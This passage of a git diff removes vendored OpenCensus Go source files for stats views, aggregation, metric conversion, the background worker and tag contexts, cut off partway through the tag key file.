attachments, t) - - if a.Count == 1 { - a.Mean = v - return - } - - oldMean := a.Mean - a.Mean = a.Mean + (v-a.Mean)/float64(a.Count) - a.SumOfSquaredDev = a.SumOfSquaredDev + (v-oldMean)*(v-a.Mean) -} - -func (a *DistributionData) addToBucket(v float64, attachments map[string]interface{}, t time.Time) { - var count *int64 - var i int - var b float64 - for i, b = range a.bounds { - if v < b { - count = &a.CountPerBucket[i] - break - } - } - if count == nil { // Last bucket. - i = len(a.bounds) - count = &a.CountPerBucket[i] - } - *count++ - if exemplar := getExemplar(v, attachments, t); exemplar != nil { - a.ExemplarsPerBucket[i] = exemplar - } -} - -func getExemplar(v float64, attachments map[string]interface{}, t time.Time) *metricdata.Exemplar { - if len(attachments) == 0 { - return nil - } - return &metricdata.Exemplar{ - Value: v, - Timestamp: t, - Attachments: attachments, - } -} - -func (a *DistributionData) clone() AggregationData { - c := *a - c.CountPerBucket = append([]int64(nil), a.CountPerBucket...) - c.ExemplarsPerBucket = append([]*metricdata.Exemplar(nil), a.ExemplarsPerBucket...) - return &c -} - -func (a *DistributionData) equal(other AggregationData) bool { - a2, ok := other.(*DistributionData) - if !ok { - return false - } - if a2 == nil { - return false - } - if len(a.CountPerBucket) != len(a2.CountPerBucket) { - return false - } - for i := range a.CountPerBucket { - if a.CountPerBucket[i] != a2.CountPerBucket[i] { - return false - } - } - return a.Count == a2.Count && a.Min == a2.Min && a.Max == a2.Max && math.Pow(a.Mean-a2.Mean, 2) < epsilon && math.Pow(a.variance()-a2.variance(), 2) < epsilon -} - -func (a *DistributionData) toPoint(metricType metricdata.Type, t time.Time) metricdata.Point { - switch metricType { - case metricdata.TypeCumulativeDistribution: - buckets := []metricdata.Bucket{} - for i := 0; i < len(a.CountPerBucket); i++ { - buckets = append(buckets, metricdata.Bucket{ - Count: a.CountPerBucket[i], - Exemplar: a.ExemplarsPerBucket[i], - }) - } - bucketOptions := &metricdata.BucketOptions{Bounds: a.bounds} - - val := &metricdata.Distribution{ - Count: a.Count, - Sum: a.Sum(), - SumOfSquaredDeviation: a.SumOfSquaredDev, - BucketOptions: bucketOptions, - Buckets: buckets, - } - return metricdata.NewDistributionPoint(t, val) - - default: - // TODO: [rghetia] when we have a use case for TypeGaugeDistribution. - panic("unsupported metricdata.Type") - } -} - -// LastValueData returns the last value recorded for LastValue aggregation. -type LastValueData struct { - Value float64 -} - -func (l *LastValueData) isAggregationData() bool { - return true -} - -func (l *LastValueData) addSample(v float64, _ map[string]interface{}, _ time.Time) { - l.Value = v -} - -func (l *LastValueData) clone() AggregationData { - return &LastValueData{l.Value} -} - -func (l *LastValueData) equal(other AggregationData) bool { - a2, ok := other.(*LastValueData) - if !ok { - return false - } - return l.Value == a2.Value -} - -func (l *LastValueData) toPoint(metricType metricdata.Type, t time.Time) metricdata.Point { - switch metricType { - case metricdata.TypeGaugeInt64: - return metricdata.NewInt64Point(t, int64(l.Value)) - case metricdata.TypeGaugeFloat64: - return metricdata.NewFloat64Point(t, l.Value) - default: - panic("unsupported metricdata.Type") - } -} diff --git a/vendor/go.opencensus.io/stats/view/collector.go b/vendor/go.opencensus.io/stats/view/collector.go deleted file mode 100644 index 8a6a2c0fdc..0000000000 --- a/vendor/go.opencensus.io/stats/view/collector.go +++ /dev/null @@ -1,86 +0,0 @@ -// Copyright 2017, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package view - -import ( - "sort" - "time" - - "go.opencensus.io/internal/tagencoding" - "go.opencensus.io/tag" -) - -type collector struct { - // signatures holds the aggregations values for each unique tag signature - // (values for all keys) to its aggregator. - signatures map[string]AggregationData - // Aggregation is the description of the aggregation to perform for this - // view. - a *Aggregation -} - -func (c *collector) addSample(s string, v float64, attachments map[string]interface{}, t time.Time) { - aggregator, ok := c.signatures[s] - if !ok { - aggregator = c.a.newData() - c.signatures[s] = aggregator - } - aggregator.addSample(v, attachments, t) -} - -// collectRows returns a snapshot of the collected Row values. -func (c *collector) collectedRows(keys []tag.Key) []*Row { - rows := make([]*Row, 0, len(c.signatures)) - for sig, aggregator := range c.signatures { - tags := decodeTags([]byte(sig), keys) - row := &Row{Tags: tags, Data: aggregator.clone()} - rows = append(rows, row) - } - return rows -} - -func (c *collector) clearRows() { - c.signatures = make(map[string]AggregationData) -} - -// encodeWithKeys encodes the map by using values -// only associated with the keys provided. -func encodeWithKeys(m *tag.Map, keys []tag.Key) []byte { - vb := &tagencoding.Values{ - Buffer: make([]byte, len(keys)), - } - for _, k := range keys { - v, _ := m.Value(k) - vb.WriteValue([]byte(v)) - } - return vb.Bytes() -} - -// decodeTags decodes tags from the buffer and -// orders them by the keys. -func decodeTags(buf []byte, keys []tag.Key) []tag.Tag { - vb := &tagencoding.Values{Buffer: buf} - var tags []tag.Tag - for _, k := range keys { - v := vb.ReadValue() - if v != nil { - tags = append(tags, tag.Tag{Key: k, Value: string(v)}) - } - } - vb.ReadIndex = 0 - sort.Slice(tags, func(i, j int) bool { return tags[i].Key.Name() < tags[j].Key.Name() }) - return tags -} diff --git a/vendor/go.opencensus.io/stats/view/doc.go b/vendor/go.opencensus.io/stats/view/doc.go deleted file mode 100644 index dced225c3d..0000000000 --- a/vendor/go.opencensus.io/stats/view/doc.go +++ /dev/null @@ -1,47 +0,0 @@ -// Copyright 2017, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -// Package view contains support for collecting and exposing aggregates over stats. -// -// In order to collect measurements, views need to be defined and registered. -// A view allows recorded measurements to be filtered and aggregated. -// -// All recorded measurements can be grouped by a list of tags. -// -// OpenCensus provides several aggregation methods: Count, Distribution and Sum. -// -// Count only counts the number of measurement points recorded. -// Distribution provides statistical summary of the aggregated data by counting -// how many recorded measurements fall into each bucket. -// Sum adds up the measurement values. -// LastValue just keeps track of the most recently recorded measurement value. -// All aggregations are cumulative. -// -// Views can be registerd and unregistered at any time during program execution. -// -// Libraries can define views but it is recommended that in most cases registering -// views be left up to applications. -// -// Exporting -// -// Collected and aggregated data can be exported to a metric collection -// backend by registering its exporter. -// -// Multiple exporters can be registered to upload the data to various -// different back ends. -package view // import "go.opencensus.io/stats/view" - -// TODO(acetechnologist): Add a link to the language independent OpenCensus -// spec when it is available. diff --git a/vendor/go.opencensus.io/stats/view/export.go b/vendor/go.opencensus.io/stats/view/export.go deleted file mode 100644 index 7cb59718f5..0000000000 --- a/vendor/go.opencensus.io/stats/view/export.go +++ /dev/null @@ -1,58 +0,0 @@ -// Copyright 2017, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package view - -import "sync" - -var ( - exportersMu sync.RWMutex // guards exporters - exporters = make(map[Exporter]struct{}) -) - -// Exporter exports the collected records as view data. -// -// The ExportView method should return quickly; if an -// Exporter takes a significant amount of time to -// process a Data, that work should be done on another goroutine. -// -// It is safe to assume that ExportView will not be called concurrently from -// multiple goroutines. -// -// The Data should not be modified. -type Exporter interface { - ExportView(viewData *Data) -} - -// RegisterExporter registers an exporter. -// Collected data will be reported via all the -// registered exporters. Once you no longer -// want data to be exported, invoke UnregisterExporter -// with the previously registered exporter. -// -// Binaries can register exporters, libraries shouldn't register exporters. -func RegisterExporter(e Exporter) { - exportersMu.Lock() - defer exportersMu.Unlock() - - exporters[e] = struct{}{} -} - -// UnregisterExporter unregisters an exporter. -func UnregisterExporter(e Exporter) { - exportersMu.Lock() - defer exportersMu.Unlock() - - delete(exporters, e) -} diff --git a/vendor/go.opencensus.io/stats/view/view.go b/vendor/go.opencensus.io/stats/view/view.go deleted file mode 100644 index 37f88e1d9f..0000000000 --- a/vendor/go.opencensus.io/stats/view/view.go +++ /dev/null @@ -1,221 +0,0 @@ -// Copyright 2017, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package view - -import ( - "bytes" - "errors" - "fmt" - "reflect" - "sort" - "sync/atomic" - "time" - - "go.opencensus.io/metric/metricdata" - "go.opencensus.io/stats" - "go.opencensus.io/tag" -) - -// View allows users to aggregate the recorded stats.Measurements. -// Views need to be passed to the Register function to be before data will be -// collected and sent to Exporters. -type View struct { - Name string // Name of View. Must be unique. If unset, will default to the name of the Measure. - Description string // Description is a human-readable description for this view. - - // TagKeys are the tag keys describing the grouping of this view. - // A single Row will be produced for each combination of associated tag values. - TagKeys []tag.Key - - // Measure is a stats.Measure to aggregate in this view. - Measure stats.Measure - - // Aggregation is the aggregation function tp apply to the set of Measurements. - Aggregation *Aggregation -} - -// WithName returns a copy of the View with a new name. This is useful for -// renaming views to cope with limitations placed on metric names by various -// backends. -func (v *View) WithName(name string) *View { - vNew := *v - vNew.Name = name - return &vNew -} - -// same compares two views and returns true if they represent the same aggregation. -func (v *View) same(other *View) bool { - if v == other { - return true - } - if v == nil { - return false - } - return reflect.DeepEqual(v.Aggregation, other.Aggregation) && - v.Measure.Name() == other.Measure.Name() -} - -// ErrNegativeBucketBounds error returned if histogram contains negative bounds. -// -// Deprecated: this should not be public. -var ErrNegativeBucketBounds = errors.New("negative bucket bounds not supported") - -// canonicalize canonicalizes v by setting explicit -// defaults for Name and Description and sorting the TagKeys -func (v *View) canonicalize() error { - if v.Measure == nil { - return fmt.Errorf("cannot register view %q: measure not set", v.Name) - } - if v.Aggregation == nil { - return fmt.Errorf("cannot register view %q: aggregation not set", v.Name) - } - if v.Name == "" { - v.Name = v.Measure.Name() - } - if v.Description == "" { - v.Description = v.Measure.Description() - } - if err := checkViewName(v.Name); err != nil { - return err - } - sort.Slice(v.TagKeys, func(i, j int) bool { - return v.TagKeys[i].Name() < v.TagKeys[j].Name() - }) - sort.Float64s(v.Aggregation.Buckets) - for _, b := range v.Aggregation.Buckets { - if b < 0 { - return ErrNegativeBucketBounds - } - } - // drop 0 bucket silently. - v.Aggregation.Buckets = dropZeroBounds(v.Aggregation.Buckets...) - - return nil -} - -func dropZeroBounds(bounds ...float64) []float64 { - for i, bound := range bounds { - if bound > 0 { - return bounds[i:] - } - } - return []float64{} -} - -// viewInternal is the internal representation of a View. -type viewInternal struct { - view *View // view is the canonicalized View definition associated with this view. - subscribed uint32 // 1 if someone is subscribed and data need to be exported, use atomic to access - collector *collector - metricDescriptor *metricdata.Descriptor -} - -func newViewInternal(v *View) (*viewInternal, error) { - return &viewInternal{ - view: v, - collector: &collector{make(map[string]AggregationData), v.Aggregation}, - metricDescriptor: viewToMetricDescriptor(v), - }, nil -} - -func (v *viewInternal) subscribe() { - atomic.StoreUint32(&v.subscribed, 1) -} - -func (v *viewInternal) unsubscribe() { - atomic.StoreUint32(&v.subscribed, 0) -} - -// isSubscribed returns true if the view is exporting -// data by subscription. -func (v *viewInternal) isSubscribed() bool { - return atomic.LoadUint32(&v.subscribed) == 1 -} - -func (v *viewInternal) clearRows() { - v.collector.clearRows() -} - -func (v *viewInternal) collectedRows() []*Row { - return v.collector.collectedRows(v.view.TagKeys) -} - -func (v *viewInternal) addSample(m *tag.Map, val float64, attachments map[string]interface{}, t time.Time) { - if !v.isSubscribed() { - return - } - sig := string(encodeWithKeys(m, v.view.TagKeys)) - v.collector.addSample(sig, val, attachments, t) -} - -// A Data is a set of rows about usage of the single measure associated -// with the given view. Each row is specific to a unique set of tags. -type Data struct { - View *View - Start, End time.Time - Rows []*Row -} - -// Row is the collected value for a specific set of key value pairs a.k.a tags. -type Row struct { - Tags []tag.Tag - Data AggregationData -} - -func (r *Row) String() string { - var buffer bytes.Buffer - buffer.WriteString("{ ") - buffer.WriteString("{ ") - for _, t := range r.Tags { - buffer.WriteString(fmt.Sprintf("{%v %v}", t.Key.Name(), t.Value)) - } - buffer.WriteString(" }") - buffer.WriteString(fmt.Sprintf("%v", r.Data)) - buffer.WriteString(" }") - return buffer.String() -} - -// Equal returns true if both rows are equal. Tags are expected to be ordered -// by the key name. Even both rows have the same tags but the tags appear in -// different orders it will return false. -func (r *Row) Equal(other *Row) bool { - if r == other { - return true - } - return reflect.DeepEqual(r.Tags, other.Tags) && r.Data.equal(other.Data) -} - -const maxNameLength = 255 - -// Returns true if the given string contains only printable characters. -func isPrintable(str string) bool { - for _, r := range str { - if !(r >= ' ' && r <= '~') { - return false - } - } - return true -} - -func checkViewName(name string) error { - if len(name) > maxNameLength { - return fmt.Errorf("view name cannot be larger than %v", maxNameLength) - } - if !isPrintable(name) { - return fmt.Errorf("view name needs to be an ASCII string") - } - return nil -} diff --git a/vendor/go.opencensus.io/stats/view/view_to_metric.go b/vendor/go.opencensus.io/stats/view/view_to_metric.go deleted file mode 100644 index f67b5c4643..0000000000 --- a/vendor/go.opencensus.io/stats/view/view_to_metric.go +++ /dev/null @@ -1,140 +0,0 @@ -// Copyright 2019, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package view - -import ( - "time" - - "go.opencensus.io/metric/metricdata" - "go.opencensus.io/stats" -) - -func getUnit(unit string) metricdata.Unit { - switch unit { - case "1": - return metricdata.UnitDimensionless - case "ms": - return metricdata.UnitMilliseconds - case "By": - return metricdata.UnitBytes - } - return metricdata.UnitDimensionless -} - -func getType(v *View) metricdata.Type { - m := v.Measure - agg := v.Aggregation - - switch agg.Type { - case AggTypeSum: - switch m.(type) { - case *stats.Int64Measure: - return metricdata.TypeCumulativeInt64 - case *stats.Float64Measure: - return metricdata.TypeCumulativeFloat64 - default: - panic("unexpected measure type") - } - case AggTypeDistribution: - return metricdata.TypeCumulativeDistribution - case AggTypeLastValue: - switch m.(type) { - case *stats.Int64Measure: - return metricdata.TypeGaugeInt64 - case *stats.Float64Measure: - return metricdata.TypeGaugeFloat64 - default: - panic("unexpected measure type") - } - case AggTypeCount: - switch m.(type) { - case *stats.Int64Measure: - return metricdata.TypeCumulativeInt64 - case *stats.Float64Measure: - return metricdata.TypeCumulativeInt64 - default: - panic("unexpected measure type") - } - default: - panic("unexpected aggregation type") - } -} - -func getLabelKeys(v *View) []metricdata.LabelKey { - labelKeys := []metricdata.LabelKey{} - for _, k := range v.TagKeys { - labelKeys = append(labelKeys, metricdata.LabelKey{Key: k.Name()}) - } - return labelKeys -} - -func viewToMetricDescriptor(v *View) *metricdata.Descriptor { - return &metricdata.Descriptor{ - Name: v.Name, - Description: v.Description, - Unit: getUnit(v.Measure.Unit()), - Type: getType(v), - LabelKeys: getLabelKeys(v), - } -} - -func toLabelValues(row *Row, expectedKeys []metricdata.LabelKey) []metricdata.LabelValue { - labelValues := []metricdata.LabelValue{} - tagMap := make(map[string]string) - for _, tag := range row.Tags { - tagMap[tag.Key.Name()] = tag.Value - } - - for _, key := range expectedKeys { - if val, ok := tagMap[key.Key]; ok { - labelValues = append(labelValues, metricdata.NewLabelValue(val)) - } else { - labelValues = append(labelValues, metricdata.LabelValue{}) - } - } - return labelValues -} - -func rowToTimeseries(v *viewInternal, row *Row, now time.Time, startTime time.Time) *metricdata.TimeSeries { - return &metricdata.TimeSeries{ - Points: []metricdata.Point{row.Data.toPoint(v.metricDescriptor.Type, now)}, - LabelValues: toLabelValues(row, v.metricDescriptor.LabelKeys), - StartTime: startTime, - } -} - -func viewToMetric(v *viewInternal, now time.Time, startTime time.Time) *metricdata.Metric { - if v.metricDescriptor.Type == metricdata.TypeGaugeInt64 || - v.metricDescriptor.Type == metricdata.TypeGaugeFloat64 { - startTime = time.Time{} - } - - rows := v.collectedRows() - if len(rows) == 0 { - return nil - } - - ts := []*metricdata.TimeSeries{} - for _, row := range rows { - ts = append(ts, rowToTimeseries(v, row, now, startTime)) - } - - m := &metricdata.Metric{ - Descriptor: *v.metricDescriptor, - TimeSeries: ts, - } - return m -} diff --git a/vendor/go.opencensus.io/stats/view/worker.go b/vendor/go.opencensus.io/stats/view/worker.go deleted file mode 100644 index 2f3c018af0..0000000000 --- a/vendor/go.opencensus.io/stats/view/worker.go +++ /dev/null @@ -1,281 +0,0 @@ -// Copyright 2017, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package view - -import ( - "fmt" - "sync" - "time" - - "go.opencensus.io/metric/metricdata" - "go.opencensus.io/metric/metricproducer" - "go.opencensus.io/stats" - "go.opencensus.io/stats/internal" - "go.opencensus.io/tag" -) - -func init() { - defaultWorker = newWorker() - go defaultWorker.start() - internal.DefaultRecorder = record -} - -type measureRef struct { - measure string - views map[*viewInternal]struct{} -} - -type worker struct { - measures map[string]*measureRef - views map[string]*viewInternal - startTimes map[*viewInternal]time.Time - - timer *time.Ticker - c chan command - quit, done chan bool - mu sync.RWMutex -} - -var defaultWorker *worker - -var defaultReportingDuration = 10 * time.Second - -// Find returns a registered view associated with this name. -// If no registered view is found, nil is returned. -func Find(name string) (v *View) { - req := &getViewByNameReq{ - name: name, - c: make(chan *getViewByNameResp), - } - defaultWorker.c <- req - resp := <-req.c - return resp.v -} - -// Register begins collecting data for the given views. -// Once a view is registered, it reports data to the registered exporters. -func Register(views ...*View) error { - req := ®isterViewReq{ - views: views, - err: make(chan error), - } - defaultWorker.c <- req - return <-req.err -} - -// Unregister the given views. Data will not longer be exported for these views -// after Unregister returns. -// It is not necessary to unregister from views you expect to collect for the -// duration of your program execution. -func Unregister(views ...*View) { - names := make([]string, len(views)) - for i := range views { - names[i] = views[i].Name - } - req := &unregisterFromViewReq{ - views: names, - done: make(chan struct{}), - } - defaultWorker.c <- req - <-req.done -} - -// RetrieveData gets a snapshot of the data collected for the the view registered -// with the given name. It is intended for testing only. -func RetrieveData(viewName string) ([]*Row, error) { - req := &retrieveDataReq{ - now: time.Now(), - v: viewName, - c: make(chan *retrieveDataResp), - } - defaultWorker.c <- req - resp := <-req.c - return resp.rows, resp.err -} - -func record(tags *tag.Map, ms interface{}, attachments map[string]interface{}) { - req := &recordReq{ - tm: tags, - ms: ms.([]stats.Measurement), - attachments: attachments, - t: time.Now(), - } - defaultWorker.c <- req -} - -// SetReportingPeriod sets the interval between reporting aggregated views in -// the program. If duration is less than or equal to zero, it enables the -// default behavior. -// -// Note: each exporter makes different promises about what the lowest supported -// duration is. For example, the Stackdriver exporter recommends a value no -// lower than 1 minute. Consult each exporter per your needs. -func SetReportingPeriod(d time.Duration) { - // TODO(acetechnologist): ensure that the duration d is more than a certain - // value. e.g. 1s - req := &setReportingPeriodReq{ - d: d, - c: make(chan bool), - } - defaultWorker.c <- req - <-req.c // don't return until the timer is set to the new duration. -} - -func newWorker() *worker { - return &worker{ - measures: make(map[string]*measureRef), - views: make(map[string]*viewInternal), - startTimes: make(map[*viewInternal]time.Time), - timer: time.NewTicker(defaultReportingDuration), - c: make(chan command, 1024), - quit: make(chan bool), - done: make(chan bool), - } -} - -func (w *worker) start() { - prodMgr := metricproducer.GlobalManager() - prodMgr.AddProducer(w) - - for { - select { - case cmd := <-w.c: - cmd.handleCommand(w) - case <-w.timer.C: - w.reportUsage(time.Now()) - case <-w.quit: - w.timer.Stop() - close(w.c) - w.done <- true - return - } - } -} - -func (w *worker) stop() { - prodMgr := metricproducer.GlobalManager() - prodMgr.DeleteProducer(w) - - w.quit <- true - <-w.done -} - -func (w *worker) getMeasureRef(name string) *measureRef { - if mr, ok := w.measures[name]; ok { - return mr - } - mr := &measureRef{ - measure: name, - views: make(map[*viewInternal]struct{}), - } - w.measures[name] = mr - return mr -} - -func (w *worker) tryRegisterView(v *View) (*viewInternal, error) { - w.mu.Lock() - defer w.mu.Unlock() - vi, err := newViewInternal(v) - if err != nil { - return nil, err - } - if x, ok := w.views[vi.view.Name]; ok { - if !x.view.same(vi.view) { - return nil, fmt.Errorf("cannot register view %q; a different view with the same name is already registered", v.Name) - } - - // the view is already registered so there is nothing to do and the - // command is considered successful. - return x, nil - } - w.views[vi.view.Name] = vi - ref := w.getMeasureRef(vi.view.Measure.Name()) - ref.views[vi] = struct{}{} - return vi, nil -} - -func (w *worker) unregisterView(viewName string) { - w.mu.Lock() - defer w.mu.Unlock() - delete(w.views, viewName) -} - -func (w *worker) reportView(v *viewInternal, now time.Time) { - if !v.isSubscribed() { - return - } - rows := v.collectedRows() - _, ok := w.startTimes[v] - if !ok { - w.startTimes[v] = now - } - viewData := &Data{ - View: v.view, - Start: w.startTimes[v], - End: time.Now(), - Rows: rows, - } - exportersMu.Lock() - for e := range exporters { - e.ExportView(viewData) - } - exportersMu.Unlock() -} - -func (w *worker) reportUsage(now time.Time) { - w.mu.Lock() - defer w.mu.Unlock() - for _, v := range w.views { - w.reportView(v, now) - } -} - -func (w *worker) toMetric(v *viewInternal, now time.Time) *metricdata.Metric { - if !v.isSubscribed() { - return nil - } - - _, ok := w.startTimes[v] - if !ok { - w.startTimes[v] = now - } - - var startTime time.Time - if v.metricDescriptor.Type == metricdata.TypeGaugeInt64 || - v.metricDescriptor.Type == metricdata.TypeGaugeFloat64 { - startTime = time.Time{} - } else { - startTime = w.startTimes[v] - } - - return viewToMetric(v, now, startTime) -} - -// Read reads all view data and returns them as metrics. -// It is typically invoked by metric reader to export stats in metric format. -func (w *worker) Read() []*metricdata.Metric { - w.mu.Lock() - defer w.mu.Unlock() - now := time.Now() - metrics := make([]*metricdata.Metric, 0, len(w.views)) - for _, v := range w.views { - metric := w.toMetric(v, now) - if metric != nil { - metrics = append(metrics, metric) - } - } - return metrics -} diff --git a/vendor/go.opencensus.io/stats/view/worker_commands.go b/vendor/go.opencensus.io/stats/view/worker_commands.go deleted file mode 100644 index 0267e179ae..0000000000 --- a/vendor/go.opencensus.io/stats/view/worker_commands.go +++ /dev/null @@ -1,186 +0,0 @@ -// Copyright 2017, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package view - -import ( - "errors" - "fmt" - "strings" - "time" - - "go.opencensus.io/stats" - "go.opencensus.io/stats/internal" - "go.opencensus.io/tag" -) - -type command interface { - handleCommand(w *worker) -} - -// getViewByNameReq is the command to get a view given its name. -type getViewByNameReq struct { - name string - c chan *getViewByNameResp -} - -type getViewByNameResp struct { - v *View -} - -func (cmd *getViewByNameReq) handleCommand(w *worker) { - v := w.views[cmd.name] - if v == nil { - cmd.c <- &getViewByNameResp{nil} - return - } - cmd.c <- &getViewByNameResp{v.view} -} - -// registerViewReq is the command to register a view. -type registerViewReq struct { - views []*View - err chan error -} - -func (cmd *registerViewReq) handleCommand(w *worker) { - for _, v := range cmd.views { - if err := v.canonicalize(); err != nil { - cmd.err <- err - return - } - } - var errstr []string - for _, view := range cmd.views { - vi, err := w.tryRegisterView(view) - if err != nil { - errstr = append(errstr, fmt.Sprintf("%s: %v", view.Name, err)) - continue - } - internal.SubscriptionReporter(view.Measure.Name()) - vi.subscribe() - } - if len(errstr) > 0 { - cmd.err <- errors.New(strings.Join(errstr, "\n")) - } else { - cmd.err <- nil - } -} - -// unregisterFromViewReq is the command to unregister to a view. Has no -// impact on the data collection for client that are pulling data from the -// library. -type unregisterFromViewReq struct { - views []string - done chan struct{} -} - -func (cmd *unregisterFromViewReq) handleCommand(w *worker) { - for _, name := range cmd.views { - vi, ok := w.views[name] - if !ok { - continue - } - - // Report pending data for this view before removing it. - w.reportView(vi, time.Now()) - - vi.unsubscribe() - if !vi.isSubscribed() { - // this was the last subscription and view is not collecting anymore. - // The collected data can be cleared. - vi.clearRows() - } - w.unregisterView(name) - } - cmd.done <- struct{}{} -} - -// retrieveDataReq is the command to retrieve data for a view. -type retrieveDataReq struct { - now time.Time - v string - c chan *retrieveDataResp -} - -type retrieveDataResp struct { - rows []*Row - err error -} - -func (cmd *retrieveDataReq) handleCommand(w *worker) { - w.mu.Lock() - defer w.mu.Unlock() - vi, ok := w.views[cmd.v] - if !ok { - cmd.c <- &retrieveDataResp{ - nil, - fmt.Errorf("cannot retrieve data; view %q is not registered", cmd.v), - } - return - } - - if !vi.isSubscribed() { - cmd.c <- &retrieveDataResp{ - nil, - fmt.Errorf("cannot retrieve data; view %q has no subscriptions or collection is not forcibly started", cmd.v), - } - return - } - cmd.c <- &retrieveDataResp{ - vi.collectedRows(), - nil, - } -} - -// recordReq is the command to record data related to multiple measures -// at once. -type recordReq struct { - tm *tag.Map - ms []stats.Measurement - attachments map[string]interface{} - t time.Time -} - -func (cmd *recordReq) handleCommand(w *worker) { - w.mu.Lock() - defer w.mu.Unlock() - for _, m := range cmd.ms { - if (m == stats.Measurement{}) { // not registered - continue - } - ref := w.getMeasureRef(m.Measure().Name()) - for v := range ref.views { - v.addSample(cmd.tm, m.Value(), cmd.attachments, time.Now()) - } - } -} - -// setReportingPeriodReq is the command to modify the duration between -// reporting the collected data to the registered clients. -type setReportingPeriodReq struct { - d time.Duration - c chan bool -} - -func (cmd *setReportingPeriodReq) handleCommand(w *worker) { - w.timer.Stop() - if cmd.d <= 0 { - w.timer = time.NewTicker(defaultReportingDuration) - } else { - w.timer = time.NewTicker(cmd.d) - } - cmd.c <- true -} diff --git a/vendor/go.opencensus.io/tag/context.go b/vendor/go.opencensus.io/tag/context.go deleted file mode 100644 index b27d1b26b1..0000000000 --- a/vendor/go.opencensus.io/tag/context.go +++ /dev/null @@ -1,43 +0,0 @@ -// Copyright 2017, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package tag - -import ( - "context" -) - -// FromContext returns the tag map stored in the context. -func FromContext(ctx context.Context) *Map { - // The returned tag map shouldn't be mutated. - ts := ctx.Value(mapCtxKey) - if ts == nil { - return nil - } - return ts.(*Map) -} - -// NewContext creates a new context with the given tag map. -// To propagate a tag map to downstream methods and downstream RPCs, add a tag map -// to the current context. NewContext will return a copy of the current context, -// and put the tag map into the returned one. -// If there is already a tag map in the current context, it will be replaced with m. -func NewContext(ctx context.Context, m *Map) context.Context { - return context.WithValue(ctx, mapCtxKey, m) -} - -type ctxKey struct{} - -var mapCtxKey = ctxKey{} diff --git a/vendor/go.opencensus.io/tag/doc.go b/vendor/go.opencensus.io/tag/doc.go deleted file mode 100644 index da16b74e4d..0000000000 --- a/vendor/go.opencensus.io/tag/doc.go +++ /dev/null @@ -1,26 +0,0 @@ -// Copyright 2017, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -/* -Package tag contains OpenCensus tags. - -Tags are key-value pairs. Tags provide additional cardinality to -the OpenCensus instrumentation data. - -Tags can be propagated on the wire and in the same -process via context.Context. Encode and Decode should be -used to represent tags into their binary propagation form. -*/ -package tag // import "go.opencensus.io/tag" diff --git a/vendor/go.opencensus.io/tag/key.go b/vendor/go.opencensus.io/tag/key.go deleted file mode 100644 index 4e63d08c93..0000000000 --- a/vendor/go.opencensus.io/tag/key.go +++ /dev/null @@ -1,45 +0,0 @@ -// Copyright 2017, OpenCensus Authors -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// 